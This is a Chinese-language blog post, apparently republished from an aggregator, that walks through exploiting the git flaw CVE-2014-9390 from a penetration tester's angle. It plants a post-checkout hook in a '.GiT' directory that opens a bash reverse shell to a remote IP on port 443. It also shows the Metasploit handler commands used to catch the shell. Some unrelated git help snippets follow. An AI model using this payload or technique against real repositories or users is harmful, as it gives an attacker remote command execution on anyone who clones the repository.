One git command may cause you hacked(CVE-2014-9390)

0x00 背景



CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备



我创建了一个命名为CVE-2014-9390的新项目。

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。


1

2

3

4

5

6

7

8

9

10

[email protected]:~/cve-2014-9390# mkdir .GiT

[email protected]:~/cve-2014-9390# cd .GiT/

[email protected]:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt

[email protected]:~/cve-2014-9390/.GiT# cd ..

[email protected]:~/cve-2014-9390# git add .

[email protected]:~/cve-2014-9390# git commit -m ‘poc‘

[master bec157d] poc

1 file changed, 1 insertion(+)

create mode 100644 .GiT/vulnerable.txt

[email protected]:~/cve-2014-9390# git push

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看


1

2

3

4

5

6

7

8

9

[email protected] ~

$ git clone [email protected]:mehmet/cve-2014-9390.git

Cloning into ‘cve-2014-9390‘...

Enter passphrase for key ‘/c/Users/rootlab/.ssh/id_rsa‘:

remote: Counting objects: 7, done.

remote: Compressing objects: 100% (3/3), done.

remote: Total 7 (delta 0), reused 0 (delta 0)R

Receiving objects: 100% (7/7), done.

Checking connectivity... done.

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

0x02 利用


什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。


1

2

3

4

5

6

7

8

9

[email protected]:~/cve-2014-9390# mkdir .GiT/hooks

[email protected]:~/cve-2014-9390# echo ‘#!/bin/sh‘ > .GiT/hooks/post-checkout

[email protected]:~/cve-2014-9390# echo ‘bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1‘ >> .GiT/hooks/post-checkout

[email protected]:~/cve-2014-9390# git add .

[email protected]:~/cve-2014-9390# git commit -m ‘add reverse connection payload‘

[master 389c979] add powershell payload

1 file changed, 4 insertions(+)

create mode 100644 .GiT/hooks/post-checkout

[email protected]:~//cve-2014-9390# git push

我们在服务器端监听


1

2

3

4

5

6

7

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp

msf exploit(handler) > set LPORT 443

msf exploit(handler) > set LHOST 108.61.164.142

msf exploit(handler) > exploit

[*] Started reverse handler on 108.61.164.142:443

[*] Starting the payload handler...

我们clone https://gitlab.com/mehmet/cve-2014-9390

看起来都是很正常,但是……

时间: 2024-12-25 06:35:14

One git command may cause you hacked(CVE-2014-9390)的相关文章

[Practical Git] Navigate git command pager output with Unix less commands

When using a git command that can have a large amount of output (like git log, git diff, or git blame), Git opens the command output in our terminal "pager"; on most modern Unix-based systems, the default pager will be "less". Learning

警告: git command could not be found. Please create an alias or add it to yo

5 Answers active oldest votes up vote 57 down voteaccepted It sounds like you recently updated GitHub application and Git Shell is now broken. Short version To fix it close Git Shell open GitHub and let it do some post installation. Open Git Shell ag

git: not a git command

在一台linux机器上打git命令,显示: git: 'pull' is not a git command. See 'git --help'. Did you mean this?         shell 莫名的错误,再敲 $ git --exec-path $ /usr/local/linux/git/libexec/git-core 发现这个路径不存在,找到git-core正确的安装位置,重新设置环境变量即可 $ export GIT_EXEC_PATH=$RIGHT_PATH 或者

Linux下提示 git: command not found

1.出错原因: 服务器没有安装GIT,所以导致出错. 解决办法: 1)Centos下使用:yum install git -y  或者  yum install -y git .  (centos6.8) 2)Ubuntu/Debian下使用 : apt-get install git -y Linux – git: command not found 原文地址:https://www.cnblogs.com/victorcode/p/10150694.html

SalesforceXyTools For Sublime Support Git Command

SalesforceXytoolsForSublime is Rapid development tools for Salesforce Development. From v2.1.7 Support git command , Github Wiki SalesforceXyTools Support Git Command Lable Command Description git:version git --version git:gui git gui git:init git in

Git Command #05 分支操作

git branch 列出所有本地分支 不包含遠端分支 可查看目前所在分支 git branch [Branch] 建立分支,但維持在目前的分支 git branch [Branch] [Reflog] 將特定 Reflog 建立分支,維持在目前分支 git branch -d [Branch] 刪除該分支 無法刪除當前的分支 git branch -a 大专栏  Git Command #05 分支操作 列出所有分支 包含遠端分支 git checkout git checkout [Bran

-bash: git: command not found

最近在测试openstack,没想到刚敲俩行就报 再看下配置 vim /etc/profile -bash: vim: command not found 一定是源选择了最小化安装的centos了 yum install git ok

git command

Git 远程分支管理 git pull --no-ff # 抓取远程仓库所有分支更新并合并到本地,不要快进合并 git fetch origin # 抓取远程仓库更新 git merge origin/master # 将远程主分支合并到本地当前分支 git co --track origin/branch # 跟踪某个远程分支创建相应的本地分支 git co -b <local_branch> origin/<remote_branch> # 基于远程分支创建本地分支,功能同上

fuck--Fix git command line spelling errors GitHub

修复Git输入错误,挺有意思.git命令关键字如果输入错误,会提示最接近的正确关键字,如果提示内容是你想要的,输入'fuck',就能执行了. GitHub源码.源码生成exe,windows上运行. 使用方法readme中.